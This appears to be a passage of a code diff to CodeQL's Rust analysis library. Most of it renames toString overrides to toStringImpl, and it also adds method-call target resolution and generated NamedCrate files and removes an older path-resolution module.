+    TypeParam getTypeParam(int i) {
+      result = rank[i + 1](TypeParam res, int j | res = this.getGenericParam(j) | res order by j)
+    }
+
+    /** Gets a type parameter of this list. */
+    TypeParam getATypeParam() { result = this.getTypeParam(_) }
+  }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/IdentPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/IdentPatImpl.qll
index 4d82a9252293..416f1d8321b9 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/IdentPatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/IdentPatImpl.qll
@@ -28,7 +28,7 @@ module Impl {
    * ```
    */
   class IdentPat extends Generated::IdentPat {
-    override string toString() {
+    override string toStringImpl() {
       result = strictconcat(int i | | this.toStringPart(i), " " order by i)
     }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/IfExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/IfExprImpl.qll
index c90ee6ccdc06..765c4afceb8b 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/IfExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/IfExprImpl.qll
@@ -28,7 +28,9 @@ module Impl {
    * ```
    */
   class IfExpr extends Generated::IfExpr {
-    override string toString() { result = concat(int i | | this.toStringPart(i), " " order by i) }
+    override string toStringImpl() {
+      result = concat(int i | | this.toStringPart(i), " " order by i)
+    }
 
     private string toStringPart(int index) {
       index = 0 and result = "if"
@@ -39,5 +41,8 @@ module Impl {
       or
       index = 3 and this.hasElse() and result = "else {...}"
     }
+
+    /** Gets any of the branches of this if expression. */
+    Expr getABranch() { result = [this.getThen(), this.getElse()] }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll
index c75c36b280b9..7b23a2e854ba 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll
@@ -19,7 +19,7 @@ module Impl {
    * ```
    */
   class Impl extends Generated::Impl {
-    override string toString() {
+    override string toStringImpl() {
       exists(string trait |
         (
           trait = this.getTrait().toAbbreviatedString() + " for "
diff --git a/rust/ql/lib/codeql/rust/elements/internal/IndexExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/IndexExprImpl.qll
index 2ace04fe3899..66c33b4a0b19 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/IndexExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/IndexExprImpl.qll
@@ -20,7 +20,7 @@ module Impl {
    * ```
    */
   class IndexExpr extends Generated::IndexExpr {
-    override string toString() {
+    override string toStringImpl() {
       result =
         this.getBase().toAbbreviatedString() + "[" + this.getIndex().toAbbreviatedString() + "]"
     }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll
index 32144265f0ce..1df33c2c3ccf 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll
@@ -19,7 +19,7 @@ module Impl {
    * ```
    */
   class InferTypeRepr extends Generated::InferTypeRepr {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() { result = "_" }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/LabelImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LabelImpl.qll
index 822029bf3a73..1b2f487192f2 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/LabelImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/LabelImpl.qll
@@ -22,7 +22,7 @@ module Impl {
    * ```
    */
   class Label extends Generated::Label {
-    override string toString() { result = this.getText() }
+    override string toStringImpl() { result = this.getText() }
 
     override string toAbbreviatedString() { result = this.getText() }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/LabelableExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LabelableExprImpl.qll
index 070481817145..e47625e50c98 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/LabelableExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/LabelableExprImpl.qll
@@ -16,7 +16,7 @@ module Impl {
    * The base class for expressions that can be labeled (`LoopExpr`, `ForExpr`, `WhileExpr` or `BlockExpr`).
    */
   class LabelableExpr extends Generated::LabelableExpr {
-    final override string toString() {
+    final override string toStringImpl() {
       result = strictconcat(int i | | this.toStringPart(i), " " order by i)
     }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll
index 0ca4e58fb850..11643dcbcb48 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll
@@ -19,7 +19,7 @@ module Impl {
    * ```
    */
   class LetElse extends Generated::LetElse {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() { result = "else {...}" }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/LetExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LetExprImpl.qll
index b690f2b044b7..64dfc604e6fb 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/LetExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/LetExprImpl.qll
@@ -21,7 +21,9 @@ module Impl {
    * ```
    */
   class LetExpr extends Generated::LetExpr {
-    override string toString() { result = concat(int i | | this.toStringPart(i), " " order by i) }
+    override string toStringImpl() {
+      result = concat(int i | | this.toStringPart(i), " " order by i)
+    }
 
     private string toStringPart(int index) {
       index = 0 and result = "let"
diff --git a/rust/ql/lib/codeql/rust/elements/internal/LetStmtImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LetStmtImpl.qll
index d612c2082a64..5a0a910ef835 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/LetStmtImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/LetStmtImpl.qll
@@ -26,7 +26,7 @@ module Impl {
    * ```
    */
   class LetStmt extends Generated::LetStmt {
-    override string toString() {
+    override string toStringImpl() {
       result = strictconcat(int i | | this.toStringPart(i), " " order by i)
     }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll
index 27b29f64cc9e..08bc22901fe8 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll
@@ -19,7 +19,7 @@ module Impl {
    * ```
    */
   class Lifetime extends Generated::Lifetime {
-    override string toString() {
+    override string toStringImpl() {
       result = "'" + this.getText()
       or
       not this.hasText() and result = "'_"
diff --git a/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll
index f68c79da16b1..6a8d02d9380e 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll
@@ -26,7 +26,7 @@ module Impl {
    * ```
    */
   class LiteralExpr extends Generated::LiteralExpr {
-    override string toString() { result = this.getTrimmedText() }
+    override string toStringImpl() { result = this.getTrimmedText() }
 
     override string toAbbreviatedString() { result = this.getTrimmedText() }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/LiteralPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LiteralPatImpl.qll
index 1c59c3fa284a..e5b55a79e035 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/LiteralPatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/LiteralPatImpl.qll
@@ -22,7 +22,7 @@ module Impl {
    * ```
    */
   class LiteralPat extends Generated::LiteralPat {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() { result = this.getLiteral().getTrimmedText() }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll
index 605c0e0f8161..5aeec330a37d 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll
@@ -41,6 +41,9 @@ module Impl {
      * Gets the primary file where this element occurs.
      */
     File getFile() { result = this.getLocation().getFile() }
+
+    /** Holds if this element is from source code. */
+    predicate fromSource() { exists(this.getFile().getRelativePath()) }
   }
 
   /** Gets the non-synthesized location of `l`, if any. */
diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll
index a34d64c0735e..c28d08f540b1 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll
@@ -19,6 +19,6 @@ module Impl {
    * ```
    */
   class MacroCall extends Generated::MacroCall {
-    override string toString() { result = this.getPath().toAbbreviatedString() + "!..." }
+    override string toStringImpl() { result = this.getPath().toAbbreviatedString() + "!..." }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/MatchArmImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MatchArmImpl.qll
index 23ad2551bffc..d2bf1c5b6919 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/MatchArmImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/MatchArmImpl.qll
@@ -28,7 +28,9 @@ module Impl {
    * ```
    */
   class MatchArm extends Generated::MatchArm {
-    override string toString() { result = concat(int i | | this.toStringPart(i), " " order by i) }
+    override string toStringImpl() {
+      result = concat(int i | | this.toStringPart(i), " " order by i)
+    }
 
     private string toStringPart(int index) {
       index = 0 and result = this.getPat().toAbbreviatedString()
diff --git a/rust/ql/lib/codeql/rust/elements/internal/MatchExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MatchExprImpl.qll
index 15fdcf7e73fb..3740eca4eb02 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/MatchExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/MatchExprImpl.qll
@@ -28,7 +28,7 @@ module Impl {
    * ```
    */
   class MatchExpr extends Generated::MatchExpr {
-    override string toString() {
+    override string toStringImpl() {
       result = "match " + this.getScrutinee().toAbbreviatedString() + " { ... }"
     }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll
index 7037f5ebbca5..30106d67d1ac 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll
@@ -4,13 +4,18 @@
  * INTERNAL: Do not use.
  */
 
+private import rust
 private import codeql.rust.elements.internal.generated.MethodCallExpr
+private import codeql.rust.internal.PathResolution
+private import codeql.rust.internal.TypeInference
 
 /**
  * INTERNAL: This module contains the customizable definition of `MethodCallExpr` and should not
  * be referenced directly.
  */
 module Impl {
+  private predicate isImplFunction(Function f) { f = any(ImplItemNode impl).getAnAssocItem() }
+
   // the following QLdoc is generated: if you need to edit it, do it in the schema file
   /**
    * A method call expression. For example:
@@ -20,11 +25,28 @@ module Impl {
    * ```
    */
   class MethodCallExpr extends Generated::MethodCallExpr {
-    override string toString() {
+    override Function getStaticTarget() {
+      result = resolveMethodCallExpr(this) and
+      (
+        // prioritize `impl` methods first
+        isImplFunction(result)
+        or
+        not isImplFunction(resolveMethodCallExpr(this)) and
+        (
+          // then trait methods with default implementations
+          result.hasBody()
+          or
+          // and finally trait methods without default implementations
+          not resolveMethodCallExpr(this).hasBody()
+        )
+      )
+    }
+
+    override string toStringImpl() {
       exists(string base, string separator |
         base = this.getReceiver().toAbbreviatedString() and
         (if base = "..." then separator = " ." else separator = ".") and
-        result = base + separator + this.getNameRef().toString() + "(...)"
+        result = base + separator + this.getIdentifier().toStringImpl() + "(...)"
       )
     }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ModuleImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ModuleImpl.qll
index 505495862b7f..0fb9690d2d1d 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ModuleImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ModuleImpl.qll
@@ -24,6 +24,6 @@ module Impl {
    * ```
    */
   class Module extends Generated::Module {
-    override string toString() { result = "mod " + this.getName() }
+    override string toStringImpl() { result = "mod " + this.getName() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll
index 43642a03886f..95e2fba90123 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll
@@ -19,6 +19,6 @@ module Impl {
    * ```
    */
   class Name extends Generated::Name {
-    override string toString() { result = this.getText() }
+    override string toStringImpl() { result = this.getText() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll
index 9f5f3eac48eb..373790de6e4c 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll
@@ -19,6 +19,6 @@ module Impl {
    * ```
    */
   class NameRef extends Generated::NameRef {
-    override string toString() { result = this.getText() }
+    override string toStringImpl() { result = this.getText() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/NamedCrate.qll b/rust/ql/lib/codeql/rust/elements/internal/NamedCrate.qll
new file mode 100644
index 000000000000..32adc63490e3
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/NamedCrate.qll
@@ -0,0 +1,13 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the class `NamedCrate`.
+ */
+
+private import NamedCrateImpl
+import codeql.rust.elements.Crate
+import codeql.rust.elements.Element
+
+/**
+ * INTERNAL: Do not use.
+ */
+final class NamedCrate = Impl::NamedCrate;
diff --git a/rust/ql/lib/codeql/rust/elements/internal/NamedCrateConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/NamedCrateConstructor.qll
new file mode 100644
index 000000000000..94dce9f1862c
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/NamedCrateConstructor.qll
@@ -0,0 +1,14 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ *  This module defines the hook used internally to tweak the characteristic predicate of
+ *  `NamedCrate` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Raw
+
+/**
+ *  The characteristic predicate of `NamedCrate` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+predicate constructNamedCrate(Raw::NamedCrate id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/NamedCrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NamedCrateImpl.qll
new file mode 100644
index 000000000000..2dafd18c22b7
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/NamedCrateImpl.qll
@@ -0,0 +1,16 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `NamedCrate`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.NamedCrate
+
+/**
+ * INTERNAL: This module contains the customizable definition of `NamedCrate` and should not
+ * be referenced directly.
+ */
+module Impl {
+  class NamedCrate extends Generated::NamedCrate { }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll
index b5a7a7258805..aff4282dadbc 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll
@@ -19,7 +19,7 @@ module Impl {
    * ```
    */
   class NeverTypeRepr extends Generated::NeverTypeRepr {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() { result = "!" }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/OrPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/OrPatImpl.qll
index 07cc59f0ddee..1dde17531ede 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/OrPatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/OrPatImpl.qll
@@ -21,7 +21,7 @@ module Impl {
    * ```
    */
   class OrPat extends Generated::OrPat {
-    override string toString() {
+    override string toStringImpl() {
       result = concat(int i | | this.getPat(i).toAbbreviatedString(), " | " order by i)
     }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParamImpl.qll
index a76b805f9515..d3e4522e6dcf 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ParamImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ParamImpl.qll
@@ -21,7 +21,7 @@ module Impl {
    * ```
    */
   class Param extends Generated::Param {
-    override string toString() { result = concat(int i | | this.toStringPart(i) order by i) }
+    override string toStringImpl() { result = concat(int i | | this.toStringPart(i) order by i) }
 
     private string toStringPart(int index) {
       index = 0 and result = this.getPat().toAbbreviatedString()
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll
index db9d19f5650b..42490c5c1cf3 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll
@@ -19,6 +19,6 @@ module Impl {
    * ```
    */
   class ParenExpr extends Generated::ParenExpr {
-    override string toString() { result = "(" + this.getExpr().toAbbreviatedString() + ")" }
+    override string toStringImpl() { result = "(" + this.getExpr().toAbbreviatedString() + ")" }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll
index 9d9016cff98e..a4c6873f214d 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll
@@ -19,6 +19,6 @@ module Impl {
    * ```
    */
   class ParenPat extends Generated::ParenPat {
-    override string toString() { result = "(" + this.getPat().toAbbreviatedString() + ")" }
+    override string toStringImpl() { result = "(" + this.getPat().toAbbreviatedString() + ")" }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll
index 5c06b951c19d..98a4ae9b31cd 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll
@@ -19,6 +19,6 @@ module Impl {
    * ```
    */
   class ParenTypeRepr extends Generated::ParenTypeRepr {
-    override string toString() { result = "(" + this.getTypeRepr().toAbbreviatedString() + ")" }
+    override string toStringImpl() { result = "(" + this.getTypeRepr().toAbbreviatedString() + ")" }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/PatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PatImpl.qll
index b0fce13de830..6471c4c8f43f 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/PatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/PatImpl.qll
@@ -23,7 +23,7 @@ module Impl {
     Pat getParentPat() {
       result = getImmediateParent(this)
       or
-      result.(RecordPat).getRecordPatFieldList().getAField().getPat() = this
+      result.(StructPat).getStructPatFieldList().getAField().getPat() = this
     }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathExprImpl.qll
index 0d7b29edabee..652dc68b3c9c 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/PathExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/PathExprImpl.qll
@@ -22,8 +22,8 @@ module Impl {
    * ```
    */
   class PathExpr extends Generated::PathExpr {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
-    override string toAbbreviatedString() { result = this.getPath().toString() }
+    override string toAbbreviatedString() { result = this.getPath().toStringImpl() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll
index fd43b3b79f21..92c6f25fbeb4 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll
@@ -20,19 +20,26 @@ module Impl {
    * ```
    */
   class Path extends Generated::Path {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() {
-      if this.hasQualifier()
-      then result = "...::" + this.getPart().toAbbreviatedString()
-      else result = this.getPart().toAbbreviatedString()
+      result = strictconcat(int i | | this.toAbbreviatedStringPart(i) order by i)
+    }
+
+    private string toAbbreviatedStringPart(int index) {
+      index = 0 and
+      this.hasQualifier() and
+      result = "...::"
+      or
+      index = 1 and
+      result = this.getSegment().toAbbreviatedString()
     }
 
     /**
      * Gets the text of this path, if it exists.
      */
     pragma[nomagic]
-    string getText() { result = this.getPart().getNameRef().getText() }
+    string getText() { result = this.getSegment().getIdentifier().getText() }
   }
 
   /** A simple identifier path. */
@@ -42,12 +49,12 @@ module Impl {
     IdentPath() {
       not this.hasQualifier() and
       exists(PathSegment ps |
-        ps = this.getPart() and
+        ps = this.getSegment() and
         not ps.hasGenericArgList() and
         not ps.hasParenthesizedArgList() and
         not ps.hasTypeRepr() and
         not ps.hasReturnTypeSyntax() and
-        name = ps.getNameRef().getText()
+        name = ps.getIdentifier().getText()
       )
     }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathPatImpl.qll
index 27914a8f4159..fb1e072b4e25 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/PathPatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/PathPatImpl.qll
@@ -22,7 +22,7 @@ module Impl {
    * ```
    */
   class PathPat extends Generated::PathPat {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() { result = this.getPath().toAbbreviatedString() }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/elements/internal/PathResolution.qll
deleted file mode 100644
index b0923930af30..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/PathResolution.qll
+++ /dev/null
@@ -1,687 +0,0 @@
-/**
- * Provides functionality for resolving paths, using the predicate `resolvePath`.
- */
-
-private import rust
-private import codeql.rust.elements.internal.generated.ParentChild
-
-private newtype TNamespace =
-  TTypeNamespace() or
-  TValueNamespace()
-
-/**
- * A namespace.
- *
- * Either the _value_ namespace or the _type_ namespace, see
- * https://doc.rust-lang.org/reference/names/namespaces.html.
- */
-final class Namespace extends TNamespace {
-  /** Holds if this is the value namespace. */
-  predicate isValue() { this = TValueNamespace() }
-
-  /** Holds if this is the type namespace. */
-  predicate isType() { this = TTypeNamespace() }
-
-  /** Gets a textual representation of this namespace. */
-  string toString() {
-    this.isValue() and result = "value"
-    or
-    this.isType() and result = "type"
-  }
-}
-
-/**
- * An item that may be referred to by a path, and which is a node in
- * the _item graph_.
- *
- * The item graph is a labeled directed graph, where an edge
- * `item1 --name--> item2` means that `item2` is available inside the
- * scope of `item1` under the name `name`. For example, if we have
- *
- * ```rust
- * mod m1 {
- *     mod m2 { }
- * }
- * ```
- *
- * then there is an edge `m1 --m2--> m1::m2`.
- *
- * Source files are also considered nodes in the item graph, and for
- * each source file `f` there is an edge `f --name--> item` when `f`
- * declares `item` with the name `name`.
- *
- * For imports like
- *
- * ```rust
- * mod m1 {
- *     mod m2;
- *     use m2::foo;
- * }
- * ```
- *
- * we first generate an edge `m1::m2 --name--> f::item`, where `item` is
- * any item (named `name`) inside the imported source file `f`. Using this
- * edge, `m2::foo` can resolve to `f::foo`, which results in the edge
- * `m1::use m2 --foo--> f::foo`. Lastly, all edges out of `use` nodes are
- * lifted to predecessors in the graph, so we get an edge `m1 --foo--> f::foo`.
- *
- *
- * References:
- * - https://doc.rust-lang.org/reference/items/modules.html
- * - https://doc.rust-lang.org/reference/names/scopes.html
- * - https://doc.rust-lang.org/reference/paths.html
- * - https://doc.rust-lang.org/reference/visibility-and-privacy.html
- * - https://doc.rust-lang.org/reference/names/namespaces.html
- */
-abstract class ItemNode extends AstNode {
-  /** Gets the (original) name of this item. */
-  abstract string getName();
-
-  /** Gets the namespace that this item belongs to, if any. */
-  abstract Namespace getNamespace();
-
-  /** Gets the visibility of this item, if any. */
-  abstract Visibility getVisibility();
-
-  /** Holds if this item is declared as `pub`. */
-  bindingset[this]
-  pragma[inline_late]
-  predicate isPublic() { exists(this.getVisibility()) }
-
-  /** Gets an element that has this item as immediately enclosing item. */
-  pragma[nomagic]
-  Element getADescendant() {
-    getImmediateParent(result) = this
-    or
-    exists(Element mid |
-      mid = this.getADescendant() and
-      getImmediateParent(result) = mid and
-      not mid instanceof ItemNode
-    )
-  }
-
-  /** Gets the immediately enclosing item of this item, if any. */
-  pragma[nomagic]
-  ItemNode getImmediateParent() { this = result.getADescendant() }
-
-  /** Gets the immediately enclosing module (or source file) of this item. */
-  pragma[nomagic]
-  ModuleLikeNode getImmediateParentModule() { this = result.getAnItemInScope() }
-
-  pragma[nomagic]
-  private ItemNode getASuccessorRec(string name) {
-    sourceFileEdge(this, name, result)
-    or
-    this = result.getImmediateParent() and
-    name = result.getName()
-    or
-    fileImportEdge(this, name, result)
-    or
-    useImportEdge(this, name, result)
-    or
-    // items made available through `use` are available to nodes that contain the `use`
-    exists(UseItemNode use |
-      use = this.getASuccessorRec(_) and
-      result = use.(ItemNode).getASuccessorRec(name)
-    )
-    or
-    // items made available through macro calls are available to nodes that contain the macro call
-    exists(MacroCallItemNode call |
-      call = this.getASuccessorRec(_) and
-      result = call.(ItemNode).getASuccessorRec(name)
-    )
-    or
-    // a trait has access to the associated items of its supertraits
-    this =
-      any(TraitItemNode trait |
-        result = trait.resolveABound().getASuccessorRec(name) and
-        result instanceof AssocItemNode and
-        not trait.hasAssocItem(name)
-      )
-    or
-    // items made available by an implementation where `this` is the implementing type
-    exists(ItemNode node |
-      this = node.(ImplItemNode).resolveSelfTy() and
-      result = node.getASuccessorRec(name) and
-      result instanceof AssocItemNode
-    )
-    or
-    // trait items with default implementations made available in an implementation
-    exists(ImplItemNode impl, ItemNode trait |
-      this = impl and
-      trait = impl.resolveTraitTy() and
-      result = trait.getASuccessorRec(name) and
-      result.(AssocItemNode).hasImplementation() and
-      not impl.hasAssocItem(name)
-    )
-    or
-    // type parameters have access to the associated items of its bounds
-    result = this.(TypeParamItemNode).resolveABound().getASuccessorRec(name).(AssocItemNode)
-  }
-
-  /** Gets a successor named `name` of this item, if any. */
-  pragma[nomagic]
-  ItemNode getASuccessor(string name) {
-    result = this.getASuccessorRec(name)
-    or
-    name = "super" and
-    if this instanceof Module
-    then result = this.getImmediateParentModule()
-    else result = this.getImmediateParentModule().getImmediateParentModule()
-    or
-    name = "self" and
-    not this instanceof Module and
-    result = this.getImmediateParentModule()
-    or
-    name = "Self" and
-    this = result.(ImplOrTraitItemNode).getAnItemInSelfScope()
-    or
-    name = "crate" and
-    result.(SourceFileItemNode).getFile() = this.getFile()
-  }
-
-  /** Gets the location of this item. */
-  Location getLocation() { result = super.getLocation() }
-}
-
-/** A module or a source file. */
-abstract private class ModuleLikeNode extends ItemNode {
-  /** Gets an item that may refer directly to items defined in this module. */
-  pragma[nomagic]
-  ItemNode getAnItemInScope() {
-    result.getImmediateParent() = this
-    or
-    exists(ItemNode mid |
-      mid = this.getAnItemInScope() and
-      result.getImmediateParent() = mid and
-      not mid instanceof ModuleLikeNode
-    )
-  }
-}
-
-private class SourceFileItemNode extends ModuleLikeNode, SourceFile {
-  override string getName() { result = "(source file)" }
-
-  override Namespace getNamespace() {
-    result.isType() // can be referenced with `super`
-  }
-
-  override Visibility getVisibility() { none() }
-}
-
-/** An item that can occur in a trait or an `impl` block. */
-abstract private class AssocItemNode extends ItemNode, AssocItem {
-  /** Holds if this associated item has an implementation. */
-  abstract predicate hasImplementation();
-}
-
-private class ConstItemNode extends AssocItemNode instanceof Const {
-  override string getName() { result = Const.super.getName().getText() }
-
-  override predicate hasImplementation() { super.hasBody() }
-
-  override Namespace getNamespace() { result.isValue() }
-
-  override Visibility getVisibility() { result = Const.super.getVisibility() }
-}
-
-private class EnumItemNode extends ItemNode instanceof Enum {
-  override string getName() { result = Enum.super.getName().getText() }
-
-  override Namespace getNamespace() { result.isType() }
-
-  override Visibility getVisibility() { result = Enum.super.getVisibility() }
-}
-
-private class VariantItemNode extends ItemNode instanceof Variant {
-  override string getName() { result = Variant.super.getName().getText() }
